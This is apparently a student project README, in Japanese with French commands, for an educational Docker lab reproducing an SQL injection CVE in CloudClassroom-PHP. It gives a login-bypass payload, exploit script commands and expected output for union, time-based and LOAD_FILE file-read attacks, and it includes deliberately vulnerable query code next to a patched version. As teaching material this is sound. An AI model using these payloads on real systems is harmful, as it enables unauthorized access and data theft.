
CloudClassroom-PHP-ProjectにおけるCVE-2025-26198 SQLインジェクションの教育的再現。4つの悪用手法(ブール、ユニオン、時間ベース、ファイル読み取り)とパッチ適用版の比較を示します。
ENSIMAG 学術プロジェクト - セキュリティ3A
著者: Wail Yacoubi, Mohammed-Yassine Akhmari
日付: 2026年1月
このコードは教育目的で意図的に脆弱にしています。
絶対に本番環境にデプロイしないでください。
CVE-2025-26198の再現: CloudClassroom-PHP-Project v1.0における重大なSQLインジェクション。
CVEの特徴:
公式リファレンス: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
SQLインジェクションの4つの悪用手法をデモンストレーション:
pip install requests# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198
# Lancer l'infrastructure
docker-compose up -d
# Attendre que MySQL soit prêt (30 secondes)
sleep 30
# Vérifier les containers
docker-compose ps
アプリケーションは http://localhost:8081 でアクセス可能です。
http://localhost:8081 にアクセス
フォームに入力:
admin' OR '1'='1'-- -anythingログインをクリック
結果: 有効なパスワードなしで管理者ログイン成功。
説明:
ペイロードによってSQLクエリが変換されます:
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
OR '1'='1'は常に真であり、-- -は残りをコメントアウトします。
python exploit_simple.py http://localhost:8081
期待される出力:
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
期待される出力:
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
プリペアドステートメントを使用したセキュアバージョンをテスト:
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# Retester l'exploit
python exploit_simple.py http://localhost:8081
期待される結果:
[-] Error: Connection aborted
[-] Exploitation failed
攻撃は入力検証とプリペアドステートメントによってブロックされます。
脆弱バージョンに戻す:
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
| 項目 | 脆弱バージョン | パッチ適用バージョン |
|---|---|---|
| SQLクエリ | 直接連結 | PDOプリペアドステートメント |
| 入力検証 | なし | 英数字正規表現 |
| 出力エスケープ | なし | htmlspecialchars() |
| SQLインジェクション | 悪用可能 | ブロック |
| ログ | なし | error_log() |
脆弱なコード:
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
セキュアなコード:
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # Version vulnérable
│ ├── loginlinkadmin_PATCHED.php # Version sécurisée
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# Vérifier service web
curl http://localhost:8081
# Vérifier version active
head -n 2 app/loginlinkadmin.php
docker-compose.yml を修正:
ports:
- "8082:80"
詳細な分析についてはRAPPORT.mdを参照してください。含まれる内容:
このプロジェクトはENSIMAGのサイバーセキュリティコースの一環として、教育目的のみで開発されました。
許可される使用:
禁止される使用:
学術的枠組み以外での使用は固く禁じられており、違法です。
著者
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026年度
コース: セキュリティ3A